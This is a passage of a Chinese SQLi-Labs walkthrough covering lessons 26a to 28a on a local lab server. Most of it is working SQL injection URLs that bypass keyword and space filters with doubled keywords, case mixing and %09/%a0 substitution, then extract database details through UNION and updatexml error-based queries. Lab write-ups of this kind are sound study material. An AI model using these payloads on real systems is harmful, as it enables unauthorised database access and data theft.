2.6.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(or和and)都不能使用,同时发现可能同SqliLab-26类似,对(and,or,–,#,/*,/,空格)进行了过滤,注入点的闭合字符可能有所不同,但是判断注入点时可以去测试一下;
判断是否存在后台对特殊字符进行了过滤
EG:

http://192.168.1.104/sql/Less-26a/?id=1 and 1=1 --+
//服务器返回页面正确,同时发现空格和(and)以及(--)都被过滤了,按照SqliLab-26的经验尝试使用(%a0),(anandd),(anandd%a01=1)进行替换构造;
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anand%a01=1--+
//服务器返回页面正确,发现被过滤的字符都出现了,再对(or),(#)等进行尝试;
http://192.168.1.104/sql/Less-26a/?id=1%a0or%a01=2%a0#
//服务器返回页面正确,同时发现(or)和(#)都被过滤了,按照SqliLab-26的经验尝试使用(oorr),(anandd%a01=1)进行替换构造;
http://192.168.1.104/sql/Less-26a/?id=1%a0oorr%a01=2%a0anandd%a01=1
//服务器返回页面正确,发现被过滤的字符都出现了,再对(/*),(/)进行尝试;
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第15张图片
由于后台对(and,or,–,#,/*,/,空格)进行了过滤,使用能绕过的字符进行替换,然后再构造payload判断参数(id)是否存在注入;
EG:

http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anandd%a01=1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=2%a0anandd%a01=1
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-26a/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误(预期正确),尝试使用(")代替(')进行构造;、
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=1%a0anandd%a0"1"="1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=2%a0anandd%a0"1"="1
//服务器返回页面正确(预期错误),尝试使用())代替(")进行构造;
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=1%a0anandd%a0(1)=(1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=2%a0anandd%a0(1)=(1
//服务器返回页面正确(预期错误),尝试使用(])代替())进行构造;
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=1%a0anandd%a0[1]=[1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=2%a0anandd%a0[1]=[1
//服务器返回页面正确(预期错误),尝试使用(})代替(])进行构造;
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=1%a0anandd%a0{1}={1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=2%a0anandd%a0{1}={1
//服务器返回页面正确(预期错误),尝试使用('')代替(})进行构造;
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=1%a0anandd%a0''1''=''1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=2%a0anandd%a0''1''=''1
//服务器返回页面正确(预期错误),尝试使用('")代替('")进行构造;
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=1%a0anandd%a0"'1'"="'1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=2%a0anandd%a0"'1'"="'1
//服务器返回页面正确(预期错误),尝试使用('")代替('")进行构造;
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=1%a0anandd%a0('1')=('1
//服务器返回页面正确(预期正确),尝试(1=2)进行构造;
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=2%a0anandd%a0('1')=('1
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为('));
//也可以考虑使用圆括号绕过空格过滤;
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=1)anandd('1')=('1
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=2)anandd('1')=('1
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-26a/?id=1')^&%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误(预期错误),但不存在报错提示;

通过对参数(id)进行测试,判断出该参数存在注入,闭合字符为(’)),且后台过滤了(and,or,–,#,/*,/,空格),可以分别用(anandd,oorr,and(‘1’)=('1,%a0/圆括号)进行替换绕过过滤,同时服务器返回页面存在回显,可以使用UNION联合查询的方式来获取数据库信息,使用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,至此,SqliLab-26a结束;

2.7. SqliLab-27(union,select,–,#,/*,/,空格,过滤绕过(单引号闭合))
2.7.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第16张图片

2.7.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(union和select)都不能使用,但是先进行注入点的判断;
判断是否存在后台对特殊字符进行了过滤
EG:

http://192.168.1.104/sql/Less-27/?id=1 and 1=1 --+
//服务器返回页面正确,同时发现空格和(--)都被过滤了,尝试使用(%09/圆括号),和(and(1)=1)进行替换构造;
http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//服务器返回页面正确,发现被过滤的字符都出现了,再对(/*),(/)进行尝试;
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第17张图片
由于后台对(–,#,/*,/,空格)进行了过滤,使用能绕过的字符进行替换,然后再构造payload判断参数(id)是否存在注入;
EG:

http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-27/?id=1%09and(1=2)and%091=1
//服务器返回页面正确(预期错误),尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-27/?id=1'and(1=1)and'1'='1
//服务器返回页面正确(预期正确),尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-27/?id=1'and(1=2)and'1'='1
//服务器返回页面错误(预期错误),判断参数(id)存在注入,闭合字符为(');

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-27/?id=1'")and(1=1)and'1'='1
//服务器返回页面错误(预期错误),存在报错提示;
http://192.168.1.104/sql/Less-27/?id=1'%^)and(1=1)and'1'='1 
//服务器返回页面错误(预期错误),存在报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’),同时后台过滤了(–,#,/*,/,空格),可以使用(and’1’='1,圆括号/%09)替换绕过,同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询和报错注入的方式来获取数据库信息,采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,采用报错注入的方法的具体流程同SqliLab-25采用的报错注入的方法一样,只是要注意一下要用合适的替换字符进行绕过,好像没有经过UNION和SELECT的绕过尝试,下面进行测试;

2.7.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-27/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-27/?id=0'union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面错误,发现union和select消失,尝试使用(ununionion)和(selselectect)进行替换构造;
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面错误,发现select消失,尝试使用(SeLeCt)进行替换构造;
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第18张图片

2.7.4. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-27/?id=1'and(updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1))and'1'='1
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第19张图片
经过测试,得知,使用联合查询时,需要注意使用(ununionion)替换(union),使用(SELECT)替换(select),同时空格考虑使用(圆括号和%09)替换,使用报错注入则考虑空格使用(圆括号和%09替换,获取其他信息的方法如上面示例的一样,至此,SqliLab-27结束;

2.8. SqliLab-27a(union,select,–,#,/*,/,空格,过滤绕过(双引号闭合))
2.8.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第20张图片

2.8.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(union和select)都不能使用,但是先进行注入点的判断;
EG:
判断是否存在后台对特殊字符进行了过滤

http://192.168.1.104/sql/Less-27a/?id=1 and 1=1--+
//服务器返回页面正确,发现构造语句中的空格和(--)都消失了(被过滤了),尝试使用(%09/圆括号)和(#)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1#
//服务器返回页面正确,发现构造语句中的空格出现了,但是(#)消失了(被过滤了),尝试使用(%23)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%23
//服务器返回页面正确,发现构造语句中的(%23)消失了(被过滤了),尝试使用(and%091=1)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回页面正确,发现构造语句成功闭合,再判断(or)是否被过滤;
http://192.168.1.104/sql/Less-27a/?id=1%09or%091=2%09and%091=1
//服务器返回页面正确,发现构造语句中的(or)未消失,即未被过滤,再判断(/*,/)是否被过滤;
http://192.168.1.104/sql/Less-27a/?id=1/'or/**/1=2%09and%091=1
//服务器返回页面正确,发现构造语句中的(/)和(/*)都消失了(被过滤了);

由于后台对(–,#,/*,/,空格)进行了过滤,使用能绕过的字符进行替换,然后再构造payload判断参数(id)是否存在注入;
EG:

http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=1%09and%09'1'='1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=2%09and%09'1'='1
//服务器返回正确(预期错误),尝试使用(")替换(')进行构造;
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=1%09and%09"1"="1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=2%09and%09"1"="1
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为(");

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-27a/?id=1"))^%09and%091=1%09and%09"1"="1
//服务器返回页面错误,但无报错提示,尝试使用(""^%))代替("))^)进行构造;
http://192.168.1.104/sql/Less-27a/?id=1""^%)09and%091=1%09and%09"1"="1
//服务器返回页面错误,但无报错提示;
...
//经过过测试,发现,服务器返回页面不存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为("),同时后台过滤了(–,#,/*,/,空格),可以使用(and"1"="1,圆括号/%09)替换绕过,同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息,采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,只是要注意一下要用合适的替换字符进行绕过,进行UNION联合查询时,先要判断UNION和SELECT是否被过滤,下面进行测试;

2.8.3. 使用UNION联合查询获取数据库信息

EG:

http://192.168.1.104/sql/Less-27a/?id=1"%09order%09by%091,2,3,4,5%09and"1"="1
//服务器返回页面错误,判断出字段数为(3),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-27a/?id=0"union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面错误,发现union和select消失,尝试使用(ununionion)和(selselectect)进行替换构造;
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面错误,发现select消失,尝试使用(SeLeCt)进行替换构造;
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第21张图片
经过测试,得知,使用联合查询时,需要注意使用(ununionion)替换(union),使用(SELECT)替换(select),同时空格考虑使用(圆括号和%09)替换,获取其他信息的方法如上面示例的一样,至此,SqliLab-27a结束;

2.9. SqliLab-28((union select),–,#,/*,/,空格,过滤绕过(’)闭合))
2.9.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第22张图片

2.9.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(union和select)都不能使用,但是先进行注入点的判断;
EG:
判断是否存在后台对特殊字符进行了过滤

http://192.168.1.104/sql/Less-28/?id=1 and 1=1--+
//服务器返回页面正确,发现构造语句中的空格和(--)都消失了(被过滤了),尝试使用(%09/圆括号)和(#)进行构造;
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1#
//服务器返回页面正确,发现构造语句中的空格出现了,但是(#)消失了(被过滤了),尝试使用(%23)进行构造;
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%23
//服务器返回页面正确,发现构造语句中的(%23)消失了(被过滤了),尝试使用(and%091=1)进行构造;
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回页面正确,发现构造语句成功闭合,再判断(or)是否被过滤;
http://192.168.1.104/sql/Less-28/?id=1%09or%091=2%09and%091=1
//服务器返回页面正确,发现构造语句中的(or)未消失,即未被过滤,再判断(/*,/)是否被过滤;
http://192.168.1.104/sql/Less-28/?id=1/'or/**/1=2%09and%091=1
//服务器返回页面正确,发现构造语句中的(/)和(/*)都消失了(被过滤了);

由于后台对(–,#,/*,/,空格)进行了过滤,使用能绕过的字符进行替换,然后再构造payload判断参数(id)是否存在注入;
EG:

http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=1%09and%09'1'='1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=2%09and%09'1'='1
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为("),再次尝试使用(")替换(')进行构造;
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=1%09and%09"1"="1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=2%09and%09"1"="1
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=1%09and%09(1)=(1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=2%09and%09(1)=(1
//服务器返回正确(预期错误),尝试使用(])替换())进行构造;
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=1%09and%09[1]=[1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=2%09and%09[1]=[1
//服务器返回正确(预期错误),尝试使用(})替换(])进行构造;
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=1%09and%09{1}={1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=2%09and%09{1}={1
//服务器返回正确(预期错误),尝试使用('')替换(})进行构造;
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=1%09and%09''1''=''1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=2%09and%09''1''=''1
//服务器返回正确(预期错误),尝试使用('")替换('')进行构造;
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=1%09and%09"'1'"="'1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=2%09and%09"'1'"="'1
//服务器返回正确(预期错误),尝试使用('))替换('))进行构造;
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=1%09and%09('1')=('1
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=2%09and%09('1')=('1
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-28/?id=1"))^%09and%091=1%09and%09"1"="1
//服务器返回页面错误,但无报错提示,尝试使用(""^%))代替("))^)进行构造;
http://192.168.1.104/sql/Less-28/?id=1""^%)09and%091=1%09and%09"1"="1
//服务器返回页面错误,但无报错提示;
...
//经过测试,发现服务器返回页面不存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(‘或’))(后面可以通过假设是正确的闭合字符进行测试,出现预期之外的结果的闭合字符则不是正确的闭合字符),同时后台过滤了(–,#,/*,/,空格),可以使用(and’1’='1或者and(‘1’)=('1,圆括号/%09)替换绕过,同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息,采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,只是要注意一下要用合适的替换字符进行绕过,进行UNION联合查询时,先要判断UNION和SELECT是否被过滤,下面进行测试;

2.9.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//服务器返回页面错误,再次尝试;
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//服务器返回页面错误,再次尝试;
...
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,4%09and('1')=('1
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,5%09and('1')=('1
//服务器返回页面错误,判断出字段数为(3),同时参数(id)的闭合字符为(')),使用union联合查询获取信息;
http://192.168.1.104/sql/Less-28/?id=0')union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面错误,发现union和select消失,尝试使用(ununionion)和(selselectect)进行替换构造;
http://192.168.1.104/sql/Less-28/?id=0')ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面错误,发现(ununionion)和(selselectect)未被过滤,尝试使用(unionunion%09select%09select)进行替换构造(过滤掉(union select),剩下的(union)和 ( select)重新组合成(union select));
http://192.168.1.104/sql/Less-28/?id=0')unionunion%09select%09select(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第23张图片
经过测试,得知,使用联合查询时,需要注意使用(unionunion%09select%09select)替换(union%09select),同时空格考虑使用(圆括号和%09)替换,获取其他信息的方法如上面示例的一样,至此,SqliLab-28结束;

2.10. SqliLab-28a((union select),过滤绕过(’)闭合))
2.10.1. 初始页面

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第24张图片

2.10.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(id),并发现,初始页面显示,可能(union和select)都不能使用,但是先进行注入点的判断;
EG:
判断是否存在后台对特殊字符进行了过滤

http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//服务器返回页面正确,发现构造语句中的空格和and以及(--)并未消失(被过滤了),再判断(/*,or,/)是否被过滤;
http://192.168.1.104/sql/Less-28a/?id=1/' or /**/ 1=1 --+
//服务器返回页面错误,发现构造语句中的(/)和(/*)以及(or)都未消失(被过滤了);

由于后台对(–,#,/*,/,空格)未进行过滤,所以直接构造payload判断参数(id)是否存在注入;
EG:

http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1 and 1=2 --+
//服务器返回正确(预期错误),尝试使用(')替换()进行构造;
http://192.168.1.104/sql/Less-28a/?id=1' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1' and 1=2 --+
//服务器返回正确(预期错误),尝试使用(")替换(')进行构造;
http://192.168.1.104/sql/Less-28a/?id=1" and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1" and 1=2 --+
//服务器返回正确(预期错误),尝试使用())替换(")进行构造;
http://192.168.1.104/sql/Less-28a/?id=1) and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1) and 1=2 --+
//服务器返回正确(预期错误),尝试使用(])替换())进行构造;
http://192.168.1.104/sql/Less-28a/?id=1] and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1] and 1=2 --+
//服务器返回正确(预期错误),尝试使用(})替换(])进行构造;
http://192.168.1.104/sql/Less-28a/?id=1} and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1} and 1=2 --+
//服务器返回正确(预期错误),尝试使用('')替换(})进行构造;
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=2 --+
//服务器返回正确(预期错误),尝试使用('")替换('')进行构造;
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=2 --+
//服务器返回正确(预期错误),尝试使用('))替换('))进行构造;
http://192.168.1.104/sql/Less-28a/?id=1') and 1=1 --+
//服务器返回正确(预期正确),尝试使用(1=2)进行构造;
http://192.168.1.104/sql/Less-28a/?id=1') and 1=2 --+
//服务器返回错误(预期错误),判断参数(id)存在注入,闭合字符为('));

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-28a/?id=1'")) and 1=1 --+
//服务器返回页面错误,但无报错提示,尝试使用(""^%)^)代替('")))进行构造;
http://192.168.1.104/sql/Less-28a/?id=1""^%)^ and 1=1 --+
//服务器返回页面正确,但无报错提示;
...
//经过测试,发现服务器返回页面不存在SQL语句报错提示;

经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时后台未过滤(–,#,/*,/,空格),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息,采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样,只是要注意一下在进行UNION联合查询时,先要判断UNION和SELECT是否被过滤,下面进行测试;

2.10.3. 使用UNION联合查询获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3--+
//服务器返回页面正确,再次尝试;
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3,4--+
//服务器返回页面错误,判断出字段数为(3)使用union联合查询获取信息;
http://192.168.1.104/sql/Less-28a/?id=0')union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面错误,发现union和select消失,尝试使用(ununionion)和(selselectect)进行替换构造;
http://192.168.1.104/sql/Less-28a/?id=0')ununionion selselectect 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面错误,发现(ununionion)和(selselectect)未被过滤,尝试使用(unionunion select select)进行替换构造(过滤掉(union select),剩下的(union)和 ( select)重新组合成(union select));
http://192.168.1.104/sql/Less-28a/?id=0')unionunion select select(1),concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入(23~28a)_第25张图片
经过测试,得知,使用联合查询时,需要注意使用(unionunion select select)替换(union select),获取其他信息的方法如上面示例的一样,至此,SqliLab-28a结束;

3. 总结

对于存在过滤的绕过注入的一般流程是先判断后台对哪些字符进行了过滤了,然后再使用相应的策略去替换被过滤的字符,达到绕过的目的,然后就是使用被替换后的字符构造的payload去判断参数是否存在注入,最后根据对注入点判断的结果,采取合适的注入方式获取数据库信息(需要注意的是对于某些特殊字符的替换,针对不同的过滤,要灵活的变通);对于二次注入,则需要利用所给的条件(SQL语句正确执行导致的错误(注入语句未被过滤)),向数据库注入payload,然后在,再次注入新的payload时,调用存储在数据库的payload,达到注入获取数据库信息的目的。

[如有错误,请指出,拜托了<( _ _ )> !!!]

你可能感兴趣的:(#,MYSQL注入学习)